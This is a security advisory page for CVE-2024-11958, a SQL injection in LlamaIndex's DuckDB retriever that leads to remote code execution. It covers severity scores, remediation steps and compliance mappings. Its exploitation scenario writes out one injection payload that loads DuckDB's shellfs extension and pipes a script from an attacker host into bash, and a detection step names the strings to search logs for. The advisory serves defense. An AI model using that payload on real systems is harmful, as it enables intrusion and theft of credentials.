CVE-2024-11958: llama-index DuckDB retriever: SQLi enables RCE

GHSA-339r-cjv9-x78g CRITICAL PoC AVAILABLE CISA: ATTEND
Published March 20, 2025
CISO Take

If your RAG pipelines use LlamaIndex with the duckdb_retriever, you have a CVSS 9.8 RCE on your hands — patch to v0.4.0 immediately, no workarounds are acceptable. The attack chain is straightforward: SQL injection through unparameterized queries → DuckDB shellfs extension → arbitrary OS command execution. Treat any LlamaIndex deployment using this retriever as fully compromised until patched.

What is the risk?

Critical severity with a well-defined RCE path that requires zero authentication or user interaction. EPSS of 1.2% is currently low, but the attack technique is trivially reproducible given the public PoC on huntr.com. Exposure is highest in organizations running LlamaIndex RAG pipelines that accept user-controlled query inputs — a common pattern in enterprise AI assistants and document Q&A systems. Network-accessible without privileges, this will be weaponized quickly once exploitation tooling circulates.

What systems are affected?

Package Ecosystem Vulnerable Range Patched
LlamaIndex pip < 0.4.0 0.4.0
50.2K 238 dependents Pushed 4d ago 87% patched ~50d to patch Full package profile →

Do you use LlamaIndex? You're affected.

How severe is it?

CVSS 3.1
9.8 / 10
EPSS
1.3%
chance of exploitation in 30 days
Higher than 67% of all CVEs
Exploitation Status
Exploit Available
Exploitation: MEDIUM
Sophistication
Moderate
Exploitation Confidence
medium
CISA SSVC: Public PoC
Public PoC indexed (trickest/cve)
Composite signal derived from CISA KEV, VulnCheck KEV, CISA SSVC, EPSS, Metasploit, Exploit-DB, trickest/cve, Nuclei templates, and inthewild.io exploitation reports.

What is the attack surface?

AV AC PR UI S C I A
AV Network
AC Low
PR None
UI None
S Unchanged
C High
I High
A High

What should I do?

5 steps
  1. IMMEDIATE

    Upgrade llama-index-retrievers-duckdb-retriever to v0.4.0 or later (pip install --upgrade).

  2. AUDIT

    Inventory all environments using LlamaIndex — check pip freeze or Poetry lockfiles for the affected package.

  3. DETECT

    Search logs for anomalous DuckDB queries containing INSTALL, LOAD, or shellfs strings.

  4. ISOLATE

    If patching is delayed, restrict network access to services running duckdb_retriever and disable DuckDB extension installation permissions at the OS level.

  5. ROTATE

    Assume any API keys, credentials, or secrets accessible by the LlamaIndex process are compromised if the package was exposed to untrusted input before patching.

What does CISA's SSVC say?

Decision Attend
Exploitation poc
Automatable Yes
Technical Impact total

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act
Article 15 - Accuracy, robustness and cybersecurity Article 9 - Risk management system
ISO 42001
6.1.2 - AI risk assessment A.6.2.6 - Security of AI systems in operation
NIST AI RMF
GOVERN 1.4 - Organizational risk tolerance and policies MANAGE 2.2 - Mechanisms to address AI risks
OWASP LLM Top 10
LLM03 - Supply Chain Vulnerabilities LLM07 - Insecure Plugin Design

Frequently Asked Questions

What is CVE-2024-11958?

If your RAG pipelines use LlamaIndex with the duckdb_retriever, you have a CVSS 9.8 RCE on your hands — patch to v0.4.0 immediately, no workarounds are acceptable. The attack chain is straightforward: SQL injection through unparameterized queries → DuckDB shellfs extension → arbitrary OS command execution. Treat any LlamaIndex deployment using this retriever as fully compromised until patched.

Is CVE-2024-11958 actively exploited?

Proof-of-concept exploit code is publicly available for CVE-2024-11958, increasing the risk of exploitation.

How to fix CVE-2024-11958?

1. IMMEDIATE: Upgrade llama-index-retrievers-duckdb-retriever to v0.4.0 or later (pip install --upgrade). 2. AUDIT: Inventory all environments using LlamaIndex — check pip freeze or Poetry lockfiles for the affected package. 3. DETECT: Search logs for anomalous DuckDB queries containing INSTALL, LOAD, or shellfs strings. 4. ISOLATE: If patching is delayed, restrict network access to services running duckdb_retriever and disable DuckDB extension installation permissions at the OS level. 5. ROTATE: Assume any API keys, credentials, or secrets accessible by the LlamaIndex process are compromised if the package was exposed to untrusted input before patching.

What systems are affected by CVE-2024-11958?

This vulnerability affects the following AI/ML architecture patterns: RAG pipelines, agent frameworks, local AI databases, document Q&A systems.

What is the CVSS score for CVE-2024-11958?

CVE-2024-11958 has a CVSS v3.1 base score of 9.8 (CRITICAL). The EPSS exploitation probability is 1.31%.

What is the AI security impact?

Affected AI Architectures

RAG pipelinesagent frameworkslocal AI databasesdocument Q&A systems

MITRE ATLAS Techniques

AML.T0010.001 AI Software
AML.T0037 Data from Local System
AML.T0049 Exploit Public-Facing Application
AML.T0050 Command and Scripting Interpreter
AML.T0085.000 RAG Databases

Compliance Controls Affected

EU AI Act: Article 15, Article 9
ISO 42001: 6.1.2, A.6.2.6
NIST AI RMF: GOVERN 1.4, MANAGE 2.2
OWASP LLM Top 10: LLM03, LLM07

What are the technical details?

Original Advisory

A SQL injection vulnerability exists in the `duckdb_retriever` component of the run-llama/llama_index repository, specifically in llama-index-retrievers-duckdb-retriever prior to v0.4.0. The vulnerability arises from the construction of SQL queries without using prepared statements, allowing an attacker to inject arbitrary SQL code. This can lead to remote code execution (RCE) by installing the shellfs extension and executing malicious commands.

Exploitation Scenario

An adversary interacts with an enterprise RAG chatbot powered by LlamaIndex. The chatbot accepts natural language queries that internally construct DuckDB SQL queries without parameterization. The attacker crafts a payload such as `'; INSTALL shellfs; LOAD shellfs; SELECT shell('curl attacker.com/shell.sh | bash'); --` embedded in their query. The duckdb_retriever concatenates this directly into a SQL string, DuckDB installs and loads the shellfs extension, and executes the arbitrary shell command — establishing a reverse shell on the AI infrastructure host with access to model artifacts, vector databases, and downstream secrets.

Weaknesses (CWE)

CWE-89 — Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'): The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.

  • [Architecture and Design] Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. For example, consider using persistence layers such as Hibernate or Enterprise Java Beans, which can provide significant protection against SQL injection if used properly.
  • [Architecture and Design] If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated. Process SQL queries using prepared statements, parameterized queries, or stored procedures. These features should accept parameters or variables and support strong typing. Do not dynamically construct and execute query strings within these features using "exec" or similar functionality, since this may re-introduce the possibility of SQL injection. [REF-867]

Source: MITRE CWE corpus.

CVSS Vector

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Timeline

Published
March 20, 2025
Last Modified
May 28, 2025
First Seen
March 24, 2026

Related Vulnerabilities